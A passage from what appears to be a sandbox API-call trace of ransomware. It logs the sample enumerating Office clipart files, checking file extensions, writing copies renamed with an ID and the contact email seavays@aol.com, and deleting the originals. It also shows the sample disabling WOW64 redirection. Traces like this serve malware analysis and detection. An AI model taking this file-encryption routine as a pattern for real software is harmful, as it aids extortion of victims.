Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.070] lstrlenW (lpString=".doc") returned 4 [0212.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.070] lstrlenW (lpString=".docx") returned 5 [0212.070] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.070] lstrlenW (lpString=".pdf") returned 4 [0212.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.070] lstrlenW (lpString=".xls") returned 4 [0212.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.070] lstrlenW (lpString=".xlsx") returned 5 [0212.070] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.070] lstrlenW (lpString=".ppt") returned 4 [0212.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.070] lstrlenW (lpString=".zip") returned 4 [0212.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.070] lstrlenW (lpString=".rar") returned 4 [0212.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.070] lstrlenW (lpString=".bz2") returned 4 [0212.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.070] lstrlenW (lpString=".7z") returned 3 [0212.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.070] lstrlenW (lpString=".dbf") returned 4 [0212.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.071] lstrlenW (lpString=".1cd") returned 4 [0212.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.071] lstrlenW (lpString=".jpg") returned 4 [0212.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.071] lstrlenW (lpString=".doc") returned 4 [0212.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.071] lstrlenW (lpString=".docx") returned 5 [0212.071] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.071] lstrlenW (lpString=".pdf") returned 4 [0212.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.071] lstrlenW (lpString=".xls") returned 4 [0212.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.071] lstrlenW (lpString=".xlsx") returned 5 [0212.071] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.071] lstrlenW (lpString=".ppt") returned 4 [0212.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.071] lstrlenW (lpString=".zip") returned 4 [0212.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.071] lstrlenW (lpString=".rar") returned 4 [0212.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.072] lstrlenW (lpString=".bz2") returned 4 [0212.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.072] lstrlenW (lpString=".7z") returned 3 [0212.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.072] lstrlenW (lpString=".dbf") returned 4 [0212.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.072] lstrlenW (lpString=".1cd") returned 4 [0212.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0212.072] lstrlenW (lpString=".jpg") returned 4 [0212.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.072] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.072] lstrlenW (lpString="J0106124.WMF") returned 12 [0212.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.073] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=5812) returned 1 [0212.073] CloseHandle (hObject=0x35c) returned 1 [0212.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0212.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.073] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.073] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.075] GetLastError () returned 0x0 [0212.075] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x16b4, lpOverlapped=0x0) returned 1 [0212.076] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x16c0, lpOverlapped=0x0) returned 1 [0212.077] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.077] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.077] SetEndOfFile (hFile=0x368) returned 1 [0212.077] CloseHandle (hObject=0x368) returned 1 [0212.077] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.078] SetEndOfFile (hFile=0x35c) returned 1 [0212.079] CloseHandle (hObject=0x35c) returned 1 [0212.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0212.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.080] lstrlenW (lpString=".doc") returned 4 [0212.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.080] lstrlenW (lpString=".docx") returned 5 [0212.080] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0212.080] lstrlenW (lpString=".pdf") returned 4 [0212.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.080] lstrlenW (lpString=".xls") returned 4 [0212.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.080] lstrlenW (lpString=".xlsx") returned 5 [0212.080] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0212.080] lstrlenW (lpString=".ppt") returned 4 [0212.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.080] lstrlenW (lpString=".zip") returned 4 [0212.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.080] lstrlenW (lpString=".rar") returned 4 [0212.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.080] lstrlenW (lpString=".bz2") returned 4 [0212.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.080] lstrlenW (lpString=".7z") returned 3 [0212.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.080] lstrlenW (lpString=".dbf") returned 4 [0212.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.081] lstrlenW (lpString=".1cd") returned 4 [0212.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.081] lstrlenW (lpString=".jpg") returned 4 [0212.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.081] lstrlenW (lpString=".doc") returned 4 [0212.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.081] lstrlenW (lpString=".docx") returned 5 [0212.081] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0212.081] lstrlenW (lpString=".pdf") returned 4 [0212.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.081] lstrlenW (lpString=".xls") returned 4 [0212.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.081] lstrlenW (lpString=".xlsx") returned 5 [0212.081] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0212.081] lstrlenW (lpString=".ppt") returned 4 [0212.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.081] lstrlenW (lpString=".zip") returned 4 [0212.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.081] lstrlenW (lpString=".rar") returned 4 [0212.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.082] lstrlenW (lpString=".bz2") returned 4 [0212.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.082] lstrlenW (lpString=".7z") returned 3 [0212.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.082] lstrlenW (lpString=".dbf") returned 4 [0212.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.082] lstrlenW (lpString=".1cd") returned 4 [0212.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0212.082] lstrlenW (lpString=".jpg") returned 4 [0212.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.082] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.082] lstrlenW (lpString="J0106146.WMF") returned 12 [0212.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.083] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=23548) returned 1 [0212.083] CloseHandle (hObject=0x35c) returned 1 [0212.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220 [0212.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.084] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.084] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.085] GetLastError () returned 0x0 [0212.085] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0212.086] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x5c00, lpOverlapped=0x0) returned 1 [0212.088] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.088] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.088] SetEndOfFile (hFile=0x368) returned 1 [0212.088] CloseHandle (hObject=0x368) returned 1 [0212.089] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.089] SetEndOfFile (hFile=0x35c) returned 1 [0212.090] CloseHandle (hObject=0x35c) returned 1 [0212.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0212.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.091] lstrlenW (lpString=".doc") returned 4 [0212.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.091] lstrlenW (lpString=".docx") returned 5 [0212.091] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.091] lstrlenW (lpString=".pdf") returned 4 [0212.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.091] lstrlenW (lpString=".xls") returned 4 [0212.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.091] lstrlenW (lpString=".xlsx") returned 5 [0212.091] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.091] lstrlenW (lpString=".ppt") returned 4 [0212.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.091] lstrlenW (lpString=".zip") returned 4 [0212.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.091] lstrlenW (lpString=".rar") returned 4 [0212.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.091] lstrlenW (lpString=".bz2") returned 4 [0212.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.092] lstrlenW (lpString=".7z") returned 3 [0212.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.092] lstrlenW (lpString=".dbf") returned 4 [0212.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.092] lstrlenW (lpString=".1cd") returned 4 [0212.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.092] lstrlenW (lpString=".jpg") returned 4 [0212.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.092] lstrlenW (lpString=".doc") returned 4 [0212.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.092] lstrlenW (lpString=".docx") returned 5 [0212.092] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.092] lstrlenW (lpString=".pdf") returned 4 [0212.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.092] lstrlenW (lpString=".xls") returned 4 [0212.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.092] lstrlenW (lpString=".xlsx") returned 5 [0212.092] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.093] lstrlenW (lpString=".ppt") returned 4 [0212.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.093] lstrlenW (lpString=".zip") returned 4 [0212.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.093] lstrlenW (lpString=".rar") returned 4 [0212.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.093] lstrlenW (lpString=".bz2") returned 4 [0212.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.093] lstrlenW (lpString=".7z") returned 3 [0212.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.093] lstrlenW (lpString=".dbf") returned 4 [0212.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.093] lstrlenW (lpString=".1cd") returned 4 [0212.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0212.093] lstrlenW (lpString=".jpg") returned 4 [0212.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.093] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.094] lstrlenW (lpString="J0106208.WMF") returned 12 [0212.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.094] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=11900) returned 1 [0212.094] CloseHandle (hObject=0x35c) returned 1 [0212.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0212.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.095] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.095] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.096] GetLastError () returned 0x0 [0212.096] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0212.097] WriteFile (hFile=0x368, lpBuffer=0x33cb020, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0) Thread: id = 94 os_tid = 0x4e4 [0205.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x6a12f8 [0205.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x34d0048 [0205.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617218 [0205.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x65e3f8 [0205.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617128 [0205.440] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x35d3020 [0205.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617338 [0205.443] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617338, Size=0x20) returned 0x5fe9e0 [0205.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617230 [0205.443] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617230, Size=0x20) returned 0x5fed28 [0205.443] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.443] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.443] Wow64DisableWow64FsRedirection (in: OldValue=0x2f2ff50 | out: OldValue=0x2f2ff50*=0x0) returned 1 [0205.443] lstrlenW (lpString="kernel32.dll") returned 12 [0205.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.443] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fed28 | out: hHeap=0x5c0000) returned 1 [0205.443] Sleep (dwMilliseconds=0x64) [0205.794] Sleep (dwMilliseconds=0x64) [0206.033] Sleep (dwMilliseconds=0x64) [0206.388] Sleep (dwMilliseconds=0x64) [0206.680] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0206.680] lstrlenW (lpString="base_altgr.xml") returned 14 [0206.680] CreateFileW (lpFileName="C:\\Program Files\\Common 